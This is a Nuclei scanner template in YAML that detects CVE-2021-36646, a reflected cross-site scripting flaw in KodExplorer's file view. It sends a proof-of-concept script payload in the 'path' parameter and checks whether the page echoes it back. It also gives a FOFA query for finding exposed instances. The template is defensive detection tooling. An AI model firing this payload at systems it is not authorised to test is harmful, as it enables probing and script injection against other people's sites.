CVE-2021-36646: KodExplorer - Cross-Site Scripting

id: CVE-2021-36646

info:
  name: KodExplorer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.
  remediation: |
    Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/482
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36646
    cwe-id: CWE-79
    epss-score: 0.01965
    epss-percentile: 0.82862
  metadata:
    max-request: 2
    vendor: kalcaddle
    product: kod-explorer
    fofa-query: app="Powered-by-KodExplorer"
  tags: cve,cve2021,xss,kodexplorer

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "KodExplorer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203589797954446242ef2ded52723ddc97a69a4742582d610ef2e5e442171fa0e602206dcafda2adfaf69281adc51ef27ed56d2292ddebb7436c60bf350de866053b03:922c64590222798bb761d5b6d8e72950